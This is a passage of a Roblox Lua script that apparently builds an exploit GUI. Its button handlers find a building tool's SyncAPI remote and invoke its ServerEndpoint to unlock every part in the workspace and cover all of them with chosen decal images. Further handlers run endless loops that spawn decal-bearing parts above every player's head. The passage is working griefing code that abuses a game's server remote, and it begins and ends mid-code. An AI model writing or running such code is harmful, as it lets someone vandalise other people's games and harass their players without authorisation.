SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("85438565322315") end) end coroutine.wrap(TextButton_11_fake_script)() local function TextButton_12_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_12) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("120309880657737") end) end coroutine.wrap(TextButton_12_fake_script)() local function TextButton_13_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_13) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("137697261247207") end) end coroutine.wrap(TextButton_13_fake_script)() local function TextButton_14_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_14) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("137697261247207") end) end coroutine.wrap(TextButton_14_fake_script)() local function TextButton_15_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_14) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("87847053702138") end) end coroutine.wrap(TextButton_15_fake_script)() local function TextButton_16_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_14) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("95881850574045") end) end coroutine.wrap(TextButton_16_fake_script)() local function TextButton_17_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_17) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local P = game:GetService("Players") local R = game:GetService("ReplicatedStorage") local p = P.LocalPlayer local c = p.Character or p.CharacterAdded:Wait() local t for _, v in ipairs(p:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end if not t then for _, v in ipairs(R:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end end local r = t.SyncAPI.ServerEndpoint local function _(a) r:InvokeServer(unpack(a)) end function SetCollision(p, b) _({"SyncCollision", {{Part = p, CanCollide = b}}}) end function SetAnchor(b, p) _({"SyncAnchor", {{Part = p, Anchored = b}}}) end function CreatePart(cf, pr) _({"CreatePart", "Normal", cf, pr}) end function DestroyPart(p) _({"Remove", {p}}) end function MovePart(p, cf) _({"SyncMove", {{Part = p, CFrame = cf}}}) end function Resize(p, s, cf) _({"SyncResize", {{Part = p, Size = s, CFrame = cf}}}) end function AddMesh(p) _({"CreateMeshes", {{Part = p}}}) end function SetMesh(p, id) _({"SyncMesh", {{Part = p, MeshId = "rbxassetid://" .. id}}}) end function SetTexture(p, id) _({"SyncMesh", {{Part = p, TextureId = "rbxassetid://" .. id}}}) end function SetName(p, n) _({"SetName", {p}, n}) end function MeshResize(p, s) _({"SyncMesh", {{Part = p, Scale = s}}}) end function Weld(p1, p2, l) _({"CreateWelds", {p1, p2}, l}) end function SetLocked(p, b) _({"SetLocked", {p}, b}) end function SetTrans(p, v) _({"SyncMaterial", {{Part = p, Transparency = v}}}) end function SpawnDecal(p, f) _({"CreateTextures", {{Part = p, Face = f, TextureType = "Decal"}}}) end function AddDecal(p, id, f) _({"SyncTexture", {{Part = p, Face = f, TextureType = "Decal", Texture = "rbxassetid://" .. id}}}) end local ids = {"117622844438673"} while task.wait(0.15) do for _, plr in ipairs(P:GetPlayers()) do local pC = plr.Character if pC and pC:FindFirstChild("Head") then local h = pC.Head local cf = h.CFrame * CFrame.new(0, 1.5, 0) CreatePart(cf, workspace) task.wait(0.03) local part for _, v in ipairs(workspace:GetChildren()) do if v:IsA("BasePart") and (v.Position - cf.p).Magnitude < 1 then part = v break end end if part then SetName(part, "particle") local id = ids[math.random(#ids)] SpawnDecal(part, Enum.NormalId.Front) AddDecal(part, id, Enum.NormalId.Front) SpawnDecal(part, Enum.NormalId.Back) AddDecal(part, id, Enum.NormalId.Back) SetTrans(part, 1) Resize(part, Vector3.new(3.5, 3.5, 0.2), part.CFrame) SetLocked(part, true) SetCollision(part, false) Weld(part, h, h) task.spawn(function() for i = 1, 16 do MovePart(part, part.CFrame + Vector3.new(0, 1, 0)) task.wait(0.03) end DestroyPart(part) end) end end end end end) end coroutine.wrap(TextButton_17_fake_script)() local function TextButton_18_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_18) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local P = game:GetService("Players") local R = game:GetService("ReplicatedStorage") local p = P.LocalPlayer local c = p.Character or p.CharacterAdded:Wait() local t for _, v in ipairs(p:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end if not t then for _, v in ipairs(R:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end end local r = t.SyncAPI.ServerEndpoint local function _(a) r:InvokeServer(unpack(a)) end function SetCollision(p, b) _({"SyncCollision", {{Part = p, CanCollide = b}}}) end function SetAnchor(b, p) _({"SyncAnchor", {{Part = p, Anchored = b}}}) end function CreatePart(cf, pr) _({"CreatePart", "Normal", cf, pr}) end function DestroyPart(p) _({"Remove", {p}}) end function MovePart(p, cf) _({"SyncMove", {{Part = p, CFrame = cf}}}) end function Resize(p, s, cf) _({"SyncResize", {{Part = p, Size = s, CFrame = cf}}}) end function AddMesh(p) _({"CreateMeshes", {{Part = p}}}) end function SetMesh(p, id) _({"SyncMesh", {{Part = p, MeshId = "rbxassetid://" .. id}}}) end function SetTexture(p, id) _({"SyncMesh", {{Part = p, TextureId = "rbxassetid://" .. id}}}) end function SetName(p, n) _({"SetName", {p}, n}) end function MeshResize(p, s) _({"SyncMesh", {{Part = p, Scale = s}}}) end function Weld(p1, p2, l) _({"CreateWelds", {p1, p2}, l}) end function SetLocked(p, b) _({"SetLocked", {p}, b}) end function SetTrans(p, v) _({"SyncMaterial", {{Part = p, Transparency = v}}}) end function SpawnDecal(p, f) _({"CreateTextures", {{Part = p, Face = f, TextureType = "Decal"}}}) end function AddDecal(p, id, f) _({"SyncTexture", {{Part = p, Face = f, TextureType = "Decal", Texture = "rbxassetid://" .. id}}}) end local ids = {"137445467424701"} while task.wait(0.15) do for _, plr in ipairs(P:GetPlayers()) do local pC = plr.Character if pC and pC:FindFirstChild("Head") then local h = pC.Head local cf = h.CFrame * CFrame.new(0, 1.5, 0) CreatePart(cf, workspace) task.wait(0.03) local part for _, v in ipairs(workspace:GetChildren()) do if v:IsA("BasePart") and (v.Position - cf.p).Magnitude < 1 then part = v break end end if part then SetName(part, "particle") local id = ids[math.random(#ids)] SpawnDecal(part, Enum.NormalId.Front) AddDecal(part, id, Enum.NormalId.Front) SpawnDecal(part, Enum.NormalId.Back) AddDecal(part, id, Enum.NormalId.Back) SetTrans(part, 1) Resize(part, Vector3.new(3.5, 3.5, 0.2), part.CFrame) SetLocked(part, true) SetCollision(part, false) Weld(part, h, h) task.spawn(function() for i = 1, 16 do MovePart(part, part.CFrame + Vector3.new(0, 1, 0)) task.wait(0.03) end DestroyPart(part) end) end end end end end) end coroutine.wrap(TextButton_18_fake_script)() local function TextButton_19_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_19) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local P = game:GetService("Players") local R = game:GetService("ReplicatedStorage") local p = P.LocalPlayer local c = p.Character or p.CharacterAdded:Wait() local t for _, v in ipairs(p:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end if not t then for _, v in ipairs(R:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end end local r = t.SyncAPI.ServerEndpoint local function _(a) r:InvokeServer(unpack(a)) end function SetCollision(p, b) _({"SyncCollision", {{Part = p, CanCollide = b}}}) end function SetAnchor(b, p) _({"SyncAnchor", {{Part = p, Anchored = b}}}) end function CreatePart(cf, pr) _({"CreatePart", "Normal", cf, pr}) end function DestroyPart(p) _({"Remove", {p}}) end function MovePart(p, cf) _({"SyncMove", {{Part = p, CFrame = cf}}}) end function Resize(p, s, cf) _({"SyncResize", {{Part = p, Size = s, CFrame = cf}}}) end function AddMesh(p) _({"CreateMeshes", {{Part = p}}}) end function SetMesh(p, id) _({"SyncMesh", {{Part = p, MeshId = "rbxassetid://" .. id}}}) end function SetTexture(p, id) _({"SyncMesh", {{Part = p, TextureId = "rbxassetid://" .. id}}}) end function SetName(p, n) _({"SetName", {p}, n}) end function MeshResize(p, s) _({"SyncMesh", {{Part = p, Scale = s}}}) end function Weld(p1, p2, l) _({"CreateWelds", {p1, p2}, l}) end function SetLocked(p, b) _({"SetLocked", {p}, b}) end function SetTrans(p, v) _({"SyncMaterial", {{Part = p, Transparency = v}}}) end function SpawnDecal(p, f) _({"CreateTextures", {{Part = p, Face = f, TextureType = "Decal"}}}) end function AddDecal(p, id, f) _({"SyncTexture", {{Part = p, Face = f, TextureType = "Decal", Texture = "rbxassetid://" .. id}}}) end local ids = {"85438565322315"} while task.wait(0.15) do for _, plr in ipairs(P:GetPlayers()) do local pC = plr.Character if pC and pC:FindFirstChild("Head") then local h = pC.Head local cf = h.CFrame * CFrame.new(0, 1.5, 0) CreatePart(cf, workspace) task.wait(0.03) local part for _, v in ipairs(workspace:GetChildren()) do if v:IsA("BasePart") and (v.Position - cf.p).Magnitude < 1 then part = v break end end if part then SetName(part, "particle") local id = ids[math.random(#ids)] SpawnDecal(part, Enum.NormalId.Front) AddDecal(part, id, Enum.NormalId.Front) SpawnDecal(part, Enum.NormalId.Back) AddDecal(part, id, Enum.NormalId.Back) SetTrans(part, 1) Resize(part, Vector3.new(3.5, 3.5, 0.2), part.CFrame) SetLocked(part, true) SetCollision(part, false) Weld(part, h, h) task.spawn(function() for i = 1, 16 do MovePart(part, part.CFrame + Vector3.new(0, 1, 0)) task.wait(0.03) end DestroyPart(part) end) end end end end end) end coroutine.wrap(TextButton_19_fake_script)() local function TextButton_20_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_20) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local P = game:GetService("Players") local R = game:GetService("ReplicatedStorage") local p = P.LocalPlayer local c = p.Character or p.CharacterAdded:Wait() local t for _, v in ipairs(p:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end if not t then for _, v in ipairs(R:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end end local r = t.SyncAPI.ServerEndpoint local function _(a) r:InvokeServer(unpack(a)) end function SetCollision(p, b) _({"SyncCollision", {{Part = p, CanCollide = b}}}) end function SetAnchor(b, p) _({"SyncAnchor", {{Part = p, Anchored = b}}}) end function CreatePart(cf, pr) _({"CreatePart", "Normal", cf, pr}) end function DestroyPart(p) _({"Remove", {p}}) end function MovePart(p, cf) _({"SyncMove", {{Part = p, CFrame = cf}}}) end function Resize(p, s, cf) _({"SyncResize", {{Part = p, Size = s, CFrame = cf}}}) end function AddMesh(p) _({"CreateMeshes", {{Part = p}}}) end function SetMesh(p, id) _({"SyncMesh", {{Part = p, MeshId = "rbxassetid://" .. id}}}) end function SetTexture(p, id) _({"SyncMesh", {{Part = p, TextureId = "rbxassetid://" .. id}}}) end function SetName(p, n) _({"SetName", {p}, n}) end function MeshResize(p, s) _({"SyncMesh", {{Part = p, Scale = s}}}) end function Weld(p1, p2, l) _({"CreateWelds", {p1, p2}, l}) end function SetLocked(p, b) _({"SetLocked", {p}, b}) end function SetTrans(p, v) _({"SyncMaterial", {{Part = p, Transparency = v}}}) end function SpawnDecal(p, f) _({"CreateTextures", {{Part = p, Face = f, TextureType = "Decal"}}}) end function AddDecal(p, id, f) _({"SyncTexture", {{Part = p, Face = f, TextureType = "Decal", Texture = "rbxassetid://" .. id}}}) end local ids = {"120309880657737"} while task.wait(0.15) do for _, plr in ipairs(P:GetPlayers()) do local pC = plr.Character if pC and pC:FindFirstChild("Head") then local h = pC.Head local cf = h.CFrame * CFrame.new(0, 1.5, 0) CreatePart(cf, workspace) task.wait(0.03) local part for _, v in ipairs(workspace:GetChildren()) do if v:IsA("BasePart") and (v.Position - cf.p).Magnitude < 1 then part = v break end end if part then SetName(part, "particle") local id = ids[math.random(#ids)] SpawnDecal(part, 